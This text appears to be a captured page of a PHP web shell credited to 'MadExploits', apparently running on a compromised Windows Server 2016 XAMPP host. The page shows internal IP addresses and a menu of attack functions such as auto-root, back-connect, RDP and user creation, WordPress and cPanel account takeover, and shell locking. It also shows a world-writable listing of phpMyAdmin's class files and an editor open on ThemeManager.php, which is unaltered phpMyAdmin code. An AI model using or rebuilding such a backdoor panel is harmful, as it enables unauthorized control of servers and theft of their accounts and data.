Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
Controllers
[ DIR ]
drwxrwxrwx
Database
[ DIR ]
drwxrwxrwx
Dbi
[ DIR ]
drwxrwxrwx
Di
[ DIR ]
drwxrwxrwx
Display
[ DIR ]
drwxrwxrwx
Engines
[ DIR ]
drwxrwxrwx
Gis
[ DIR ]
drwxrwxrwx
Navigation
[ DIR ]
drwxrwxrwx
Plugins
[ DIR ]
drwxrwxrwx
Properties
[ DIR ]
drwxrwxrwx
Rte
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Setup
[ DIR ]
drwxrwxrwx
Twig
[ DIR ]
drwxrwxrwx
Utils
[ DIR ]
drwxrwxrwx
Advisor.php
19.56
KB
-rw-rw-rw-
Bookmark.php
10.74
KB
-rw-rw-rw-
BrowseForeigners.php
11.15
KB
-rw-rw-rw-
CentralColumns.php
44.19
KB
-rw-rw-rw-
Charsets.php
6.14
KB
-rw-rw-rw-
CheckUserPrivileges.php
12.59
KB
-rw-rw-rw-
Config.php
57.38
KB
-rw-rw-rw-
Console.php
3.69
KB
-rw-rw-rw-
Core.php
38.31
KB
-rw-rw-rw-
CreateAddField.php
17.91
KB
-rw-rw-rw-
DatabaseInterface.php
104.47
KB
-rw-rw-rw-
Encoding.php
8.68
KB
-rw-rw-rw-
Error.php
13.34
KB
-rw-rw-rw-
ErrorHandler.php
17.17
KB
-rw-rw-rw-
ErrorReport.php
8.92
KB
-rw-rw-rw-
Export.php
42.76
KB
-rw-rw-rw-
File.php
21.29
KB
-rw-rw-rw-
FileListing.php
2.83
KB
-rw-rw-rw-
Font.php
5.54
KB
-rw-rw-rw-
Footer.php
10.6
KB
-rw-rw-rw-
Header.php
21.87
KB
-rw-rw-rw-
Import.php
56.56
KB
-rw-rw-rw-
Index.php
24.5
KB
-rw-rw-rw-
IndexColumn.php
4.44
KB
-rw-rw-rw-
InsertEdit.php
129.31
KB
-rw-rw-rw-
InternalRelations.php
17.42
KB
-rw-rw-rw-
IpAllowDeny.php
9.57
KB
-rw-rw-rw-
Language.php
4.31
KB
-rw-rw-rw-
LanguageManager.php
23.71
KB
-rw-rw-rw-
Linter.php
5.21
KB
-rw-rw-rw-
ListAbstract.php
2.51
KB
-rw-rw-rw-
ListDatabase.php
4.34
KB
-rw-rw-rw-
Logging.php
2.6
KB
-rw-rw-rw-
Menu.php
22.36
KB
-rw-rw-rw-
Message.php
19.32
KB
-rw-rw-rw-
Mime.php
916
B
-rw-rw-rw-
MultSubmits.php
23.64
KB
-rw-rw-rw-
Normalization.php
40.41
KB
-rw-rw-rw-
OpenDocument.php
8.52
KB
-rw-rw-rw-
Operations.php
81.25
KB
-rw-rw-rw-
OutputBuffering.php
3.71
KB
-rw-rw-rw-
ParseAnalyze.php
2.55
KB
-rw-rw-rw-
Partition.php
7.27
KB
-rw-rw-rw-
Pdf.php
4.37
KB
-rw-rw-rw-
Plugins.php
22.95
KB
-rw-rw-rw-
RecentFavoriteTable.php
12.04
KB
-rw-rw-rw-
Relation.php
79.64
KB
-rw-rw-rw-
RelationCleanup.php
15
KB
-rw-rw-rw-
Replication.php
5.75
KB
-rw-rw-rw-
ReplicationGui.php
21.23
KB
-rw-rw-rw-
Response.php
16.14
KB
-rw-rw-rw-
Sanitize.php
14.51
KB
-rw-rw-rw-
SavedSearches.php
11.94
KB
-rw-rw-rw-
Scripts.php
3.65
KB
-rw-rw-rw-
Session.php
7.62
KB
-rw-rw-rw-
Sql.php
82.09
KB
-rw-rw-rw-
SqlQueryForm.php
17.63
KB
-rw-rw-rw-
StorageEngine.php
13.75
KB
-rw-rw-rw-
SubPartition.php
3.55
KB
-rw-rw-rw-
SysInfo.php
1.61
KB
-rw-rw-rw-
SysInfoBase.php
822
B
-rw-rw-rw-
SysInfoLinux.php
2.16
KB
-rw-rw-rw-
SysInfoSunOS.php
1.89
KB
-rw-rw-rw-
SysInfoWINNT.php
3.27
KB
-rw-rw-rw-
SystemDatabase.php
3.97
KB
-rw-rw-rw-
Table.php
94.87
KB
-rw-rw-rw-
TablePartitionDefinition.php
6.64
KB
-rw-rw-rw-
Template.php
4.02
KB
-rw-rw-rw-
Theme.php
8.62
KB
-rw-rw-rw-
ThemeManager.php
10.42
KB
-rw-rw-rw-
Tracker.php
30.13
KB
-rw-rw-rw-
Tracking.php
40.26
KB
-rw-rw-rw-
Transformations.php
16.27
KB
-rw-rw-rw-
TwoFactor.php
7.14
KB
-rw-rw-rw-
Types.php
24.93
KB
-rw-rw-rw-
Url.php
8.32
KB
-rw-rw-rw-
UserPassword.php
9
KB
-rw-rw-rw-
UserPreferences.php
8.62
KB
-rw-rw-rw-
UserPreferencesHeader.php
4.13
KB
-rw-rw-rw-
Util.php
168.02
KB
-rw-rw-rw-
VersionInformation.php
6.92
KB
-rw-rw-rw-
ZipExtension.php
10.25
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ThemeManager.php
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * phpMyAdmin theme manager * * @package PhpMyAdmin */ declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Theme; use PhpMyAdmin\Url; /** * phpMyAdmin theme manager * * @package PhpMyAdmin */ class ThemeManager { /** * ThemeManager instance * * @access private * @static * @var ThemeManager */ private static $_instance; /** * @var string path to theme folder * @access protected */ private $_themes_path = './themes/'; /** * @var array available themes */ public $themes = []; /** * @var string cookie name */ public $cookie_name = 'pma_theme'; /** * @var boolean */ public $per_server = false; /** * @var string name of active theme */ public $active_theme = ''; /** * @var Theme Theme active theme */ public $theme = null; /** * @var string */ public $theme_default; /** * @const string The name of the fallback theme */ public const FALLBACK_THEME = 'pmahomme'; /** * Constructor for Theme Manager class * * @access public */ public function __construct() { $this->themes = []; $this->theme_default = self::FALLBACK_THEME; $this->active_theme = ''; if (! $this->setThemesPath('./themes/')) { return; } $this->setThemePerServer($GLOBALS['cfg']['ThemePerServer']); $this->loadThemes(); $this->theme = new Theme(); $config_theme_exists = true; if (! $this->checkTheme($GLOBALS['cfg']['ThemeDefault'])) { trigger_error( sprintf( __('Default theme %s not found!'), htmlspecialchars($GLOBALS['cfg']['ThemeDefault']) ), E_USER_ERROR ); $config_theme_exists = false; } else { $this->theme_default = $GLOBALS['cfg']['ThemeDefault']; } // check if user have a theme cookie $cookie_theme = $this->getThemeCookie(); if (! $cookie_theme || ! $this->setActiveTheme($cookie_theme)) { if ($config_theme_exists) { // otherwise use default theme $this->setActiveTheme($this->theme_default); } else { // or fallback theme $this->setActiveTheme(self::FALLBACK_THEME); } } } /** * Returns the singleton ThemeManager object * * @return ThemeManager The instance */ public static function getInstance(): ThemeManager { if (empty(self::$_instance)) { self::$_instance = new ThemeManager(); } return self::$_instance; } /** * sets path to folder containing the themes * * @param string $path path to themes folder * * @access public * @return boolean success */ public function setThemesPath($path) { if (! $this->_checkThemeFolder($path)) { return false; } $this->_themes_path = trim($path); return true; } /** * sets if there are different themes per server * * @param boolean $per_server Whether to enable per server flag * * @access public * @return void */ public function setThemePerServer($per_server) { $this->per_server = (bool) $per_server; } /** * Sets active theme * * @param string $theme theme name * * @access public * @return bool true on success */ public function setActiveTheme($theme = null) { if (! $this->checkTheme($theme)) { trigger_error( sprintf( __('Theme %s not found!'), htmlspecialchars($theme) ), E_USER_ERROR ); return false; } $this->active_theme = $theme; $this->theme = $this->themes[$theme]; // need to set later //$this->setThemeCookie(); return true; } /** * Returns name for storing theme * * @return string cookie name * @access public */ public function getThemeCookieName() { // Allow different theme per server if (isset($GLOBALS['server']) && $this->per_server) { return $this->cookie_name . '-' . $GLOBALS['server']; } return $this->cookie_name; } /** * returns name of theme stored in the cookie * * @return string|bool theme name from cookie or false * @access public */ public function getThemeCookie() { /** @var Config $PMA_Config */ global $PMA_Config; $name = $this->getThemeCookieName(); if ($PMA_Config->issetCookie($name)) { return $PMA_Config->getCookie($name); } return false; } /** * save theme in cookie * * @return bool true * @access public */ public function setThemeCookie() { $GLOBALS['PMA_Config']->setCookie( $this->getThemeCookieName(), $this->theme->id, $this->theme_default ); // force a change of a dummy session variable to avoid problems // with the caching of phpmyadmin.css.php $GLOBALS['PMA_Config']->set('theme-update', $this->theme->id); return true; } /** * Checks whether folder is valid for storing themes * * @param string $folder Folder name to test * * @return boolean * @access private */ private function _checkThemeFolder($folder) { if (! is_dir($folder)) { trigger_error( sprintf( __('Theme path not found for theme %s!'), htmlspecialchars($folder) ), E_USER_ERROR ); return false; } return true; } /** * read all themes * * @return bool true * @access public */ public function loadThemes() { $this->themes = []; if (false === ($handleThemes = opendir($this->_themes_path))) { trigger_error( 'phpMyAdmin-ERROR: cannot open themes folder: ' . $this->_themes_path, E_USER_WARNING ); return false; } // check for themes directory while (false !== ($PMA_Theme = readdir($handleThemes))) { // Skip non dirs, . and .. if ($PMA_Theme == '.' || $PMA_Theme == '..' || ! @is_dir(ROOT_PATH . $this->_themes_path . $PMA_Theme) ) { continue; } if (array_key_exists($PMA_Theme, $this->themes)) { continue; } $new_theme = Theme::load( $this->_themes_path . $PMA_Theme, ROOT_PATH . $this->_themes_path . $PMA_Theme . '/' ); if ($new_theme) { $new_theme->setId($PMA_Theme); $this->themes[$PMA_Theme] = $new_theme; } } // end get themes closedir($handleThemes); ksort($this->themes); return true; } /** * checks if given theme name is a known theme * * @param string $theme name fo theme to check for * * @return bool * @access public */ public function checkTheme($theme) { return array_key_exists($theme, $this->themes); } /** * returns HTML selectbox, with or without form enclosed * * @param boolean $form whether enclosed by from tags or not * * @return string * @access public */ public function getHtmlSelectBox($form = true) { $select_box = ''; if ($form) { $select_box .= '<form name="setTheme" method="post"'; $select_box .= ' action="index.php" class="disableAjax">'; $select_box .= Url::getHiddenInputs(); } $theme_preview_path = './themes.php'; $theme_preview_href = '<a href="' . $theme_preview_path . '" target="themes" class="themeselect">'; $select_box .= $theme_preview_href . __('Theme:') . '</a>' . "\n"; $select_box .= '<select name="set_theme" lang="en" dir="ltr"' . ' class="autosubmit">'; foreach ($this->themes as $each_theme_id => $each_theme) { $select_box .= '<option value="' . $each_theme_id . '"'; if ($this->active_theme === $each_theme_id) { $select_box .= ' selected="selected"'; } $select_box .= '>' . htmlspecialchars($each_theme->getName()) . '</option>'; } $select_box .= '</select>'; if ($form) { $select_box .= '</form>'; } return $select_box; } /** * Renders the previews for all themes * * @return string * @access public */ public function getPrintPreviews() { $retval = ''; foreach ($this->themes as $each_theme) { $retval .= $each_theme->getPrintPreview(); } // end 'open themes' return $retval; } /** * Theme initialization * * @return void * @access public */ public static function initializeTheme() { $tmanager = self::getInstance(); /** * the theme object * * @global Theme $GLOBALS['PMA_Theme'] */ $GLOBALS['PMA_Theme'] = $tmanager->theme; // BC /** * the theme path * @global string $GLOBALS['pmaThemePath'] */ $GLOBALS['pmaThemePath'] = $GLOBALS['PMA_Theme']->getPath(); /** * the theme image path * @global string $GLOBALS['pmaThemeImage'] */ $GLOBALS['pmaThemeImage'] = $GLOBALS['PMA_Theme']->getImgPath(); } /** * Return the themes directory with a trailing slash * * @return string */ public static function getThemesFsDir(): string { return ROOT_PATH . 'themes' . DIRECTORY_SEPARATOR; } /** * Return the themes directory with a trailing slash as a relative public path * * @return string */ public static function getThemesDir(): string { return './themes' . DIRECTORY_SEPARATOR; } }
Close